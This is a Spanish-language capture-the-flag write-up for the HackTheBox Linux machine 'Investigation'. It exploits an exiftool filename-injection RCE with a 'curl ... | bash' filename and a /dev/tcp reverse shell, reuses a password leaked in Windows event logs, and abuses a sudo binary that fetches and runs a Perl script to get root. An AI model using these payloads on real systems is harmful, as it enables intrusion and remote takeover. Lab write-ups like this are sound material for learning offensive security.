Investigation es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Investigation 10.10.11.197 a /etc/hosts como investigation.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 |
# Nmap 7.92 scan initiated Wed Feb 8 13:34:06 2023 as: nmap -sV -oA enumeration/nmap 10.10.11.197 Nmap scan report for 10.10.11.197 Host is up (0.042s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Feb 8 13:34:14 2023 -- 1 IP address (1 host up) scanned in 8.12 seconds |
No hay mucho que rascar aqui así que añadimos el host eforenzics.htb a nuestro fichero hosts y procederemos a revisar el portal web en el puerto 80
Enumeración
Accedemos al portal web en el puerto 80 y vemos la siguiente página
Revisamos la página y encontramos un enlace en el cual es posible subir imágenes para su análisis forense
Así que creamos una imagen de ejemplo y la subimos, al momento aparece un enlace a un fichero de texto con el resultado
Revisamos el resultado y lo primero que vemos es la versión utilizada por exiftool así que nos vamos a google y encontramos una poc explicando como explotar la vulnerabilidad de RCE en el siguiente enlace
1 |
https://github.com/dpbe32/CVE-2022-23935-PoC-Exploit |
Para la prueba, en nuestro caso, vamos a generar un fichero html que incluya una reverse shell que nos permita ganar acceso a la maquina, así que creamos la imagen en primer lugar
1 |
$ cp image.png 'curl 10.10.14.3 | bash |' |
Creamos el fichero html con nuestra revshell
1 2 |
$ cat index.html bash -i >& /dev/tcp/10.10.14.3/4444 0>&1 |
Subimos la imagen y automáticamente vemos que ha descargado nuestro html malicioso
1 2 3 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.11.197 - - [08/Feb/2023 13:51:08] "GET / HTTP/1.1" 200 - |
Y que hemos conseguido acceso como www-data en nuestra escucha
1 2 3 4 5 6 7 8 9 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.3] from investigation.htb [10.10.11.197] 54376 bash: cannot set terminal process group (955): Inappropriate ioctl for device bash: no job control in this shell www-data@investigation:~/uploads/1675864269$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@investigation:~/uploads/1675864269$ |
Escalando al usuario smorton
Ahora que ya estamos dentro de la máquina, revisamos si existe algún directorio o fichero con el usuario www-data como propietario
1 2 3 |
www-data@investigation:/tmp$ find / -user www-data 2>/dev/null | grep -vE 'run|proc|var' /tmp/tmux-33 /usr/local/investigation/analysed_log |
Y encontramos un directorio con dos ficheros
1 2 3 4 5 6 7 8 9 10 |
www-data@investigation:/tmp$ cd /usr/local/investigation/ cd /usr/local/investigation/ www-data@investigation:/usr/local/investigation$ ls -l ls -l total 1280 -rw-rw-r-- 1 smorton smorton 1308160 Oct 1 00:35 Windows Event Logs for Analysis.msg -rw-rw-r-- 1 www-data www-data 0 Oct 1 00:40 analysed_log www-data@investigation:/usr/local/investigation$ file 'Windows Event Logs for Analysis.msg' <igation$ file 'Windows Event Logs for Analysis.msg' Windows Event Logs for Analysis.msg: CDFV2 Microsoft Outlook Message |
En dicho directorio hay un fichero .msg, en otras palabras, es un fichero de un mail de outlook, así que descargamos el mismo y lo abrimos observando el siguiente mensaje
El mensaje indica que podemos ver los logs adjuntados al correo para su análisis, así que descargamos el fichero zip y extraemos su contenido
1 2 3 |
$ unzip evtx-logs.zip Archive: evtx-logs.zip inflating: security.evtx |
Es un fichero de eventos de windows pero vamos a verlo en detalle
1 2 |
$ file security.evtx security.evtx: MS Windows Vista Event Log, 238 chunks (no. 237 in use), next record no. 20013 |
Estamos en un linux, así que vamos a extraer el contenido del fichero y convertirlo a un formato más cómodo con evtx
Así que extraemos el contenido
1 |
$ ./evtx_dump security.evtx -o json > dump |
Revisamos ahora el mismo y encontramos un nombre de usuario que vimos en la maquina y lo que parece una password
1 2 3 4 |
$ cat dump |grep TargetUserName | tr -d \"|sort -u|awk '{print $2}'|grep -E "smorton|Def" DefaultAccount Def@ultf0r3nz!csPa$$, smorton, |
Así que probamos el acceso y entramos con el usuario smorton
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
$ ssh smorton@investigation.htb The authenticity of host 'investigation.htb (10.10.11.197)' can't be established. ED25519 key fingerprint is SHA256:lYSJubnhYfFdsTiyPfAa+pgbuxOaSJGV8ItfpUK84Vw. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'investigation.htb' (ED25519) to the list of known hosts. smorton@investigation.htb's password: Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-137-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 08 Feb 2023 02:26:56 PM UTC System load: 0.0 Processes: 240 Usage of /: 61.8% of 3.97GB Users logged in: 0 Memory usage: 16% IPv4 address for eth0: 10.10.11.197 Swap usage: 0% 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update smorton@investigation:~$ id uid=1000(smorton) gid=1000(smorton) groups=1000(smorton) |
Obteniendo la flag de user
Ahora que estamos dentro vamos a por la primera flag
1 2 3 |
smorton@investigation:~$ cat user.txt 9zzzzzzzzzzzzzzzzzzzzzzzzzzz4 smorton@investigation:~$ |
Escalado de privilegios
Para el escalado revisamos en primer lugar los permisos del usuario
1 2 3 4 5 6 |
smorton@investigation:~$ sudo -l Matching Defaults entries for smorton on investigation: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User smorton may run the following commands on investigation: (root) NOPASSWD: /usr/bin/binary |
Y vemos que tiene permisos para ejecutar un fichero binario como root
1 2 |
smorton@investigation:~$ file /usr/bin/binary /usr/bin/binary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a703575c5c944bfcfea8a04f0aabaf0b4fa9f7cb, for GNU/Linux 3.2.0, not stripped |
Así que descargamos el mismo y lo abrimos con ghidra para ver su contenido y conseguimos encontrar el código del mismo
Analizamos en detalle el código y encontramos varios puntos importantes.
En primer lugar vemos la siguiente parte de código, donde vemos que la aplicación necesitará de 3 parámetros, el script y 2 más
1 2 3 4 5 |
if (param_1 != 3) { puts("Exiting... "); /* WARNING: Subroutine does not return */ exit(0); } |
En segundo lugar el siguiente trozo, donde verifica que el usuario que lo ejecuta tiene el id 0, es decir, root
1 2 3 4 5 6 |
_Var1 = getuid(); if (_Var1 != 0) { puts("Exiting... "); /* WARNING: Subroutine does not return */ exit(0); } |
En tercer lugar comprueba que el segundo parámetro es igual al string lDnxUysaQn
1 2 3 4 5 6 |
iVar2 = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn"); if (iVar2 != 0) { puts("Exiting... "); /* WARNING: Subroutine does not return */ exit(0); } |
En cuarto lugar, y si todo lo anterior es correcto, descargará un fichero por curl, por lo que el primer parámetro debe ser una url de la que descargarse un fichero
1 2 3 4 5 6 |
__stream = fopen(*(char **)(param_2 + 0x10),"wb"); uVar3 = curl_easy_init(); curl_easy_setopt(uVar3,0x2712,*(undefined8 *)(param_2 + 8)); curl_easy_setopt(uVar3,0x2711,__stream); curl_easy_setopt(uVar3,0x2d,1); iVar2 = curl_easy_perform(uVar3); |
Por último, y si todo lo anterior es correcto, descargará el fichero con curl y lo ejecutará con perl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
if (iVar2 == 0) { iVar2 = snprintf((char *)0x0,0,"%s",*(undefined8 *)(param_2 + 0x10)); __s = (char *)malloc((long)iVar2 + 1); snprintf(__s,(long)iVar2 + 1,"%s",*(undefined8 *)(param_2 + 0x10)); iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s); __s_00 = (char *)malloc((long)iVar2 + 1); snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s); fclose(__stream); curl_easy_cleanup(uVar3); setuid(0); system(__s_00); system("rm -f ./lDnxUysaQn"); return 0; } |
Conociendo como funciona el script, vamos a generar un script en perl que ejecute el comando su
1 2 |
$ cat privesc.pl exec("su") |
Levantamos un servidor en python para servir nuestro script en perl y ejecutamos el binario para escalar a root
1 2 3 4 5 |
$ sudo /usr/bin/binary http://10.10.14.3/privesc.pl lDnxUysaQn Running... root@investigation:/home/smorton# id uid=0(root) gid=0(root) groups=0(root) root@investigation:/home/smorton# |
Obteniendo la flag de root
Ahora que ya somos root, vamos a su home y conseguimos la flag
1 2 3 4 |
root@investigation:/home/smorton# cd root@investigation:~# cat root.txt fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx6 root@investigation:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace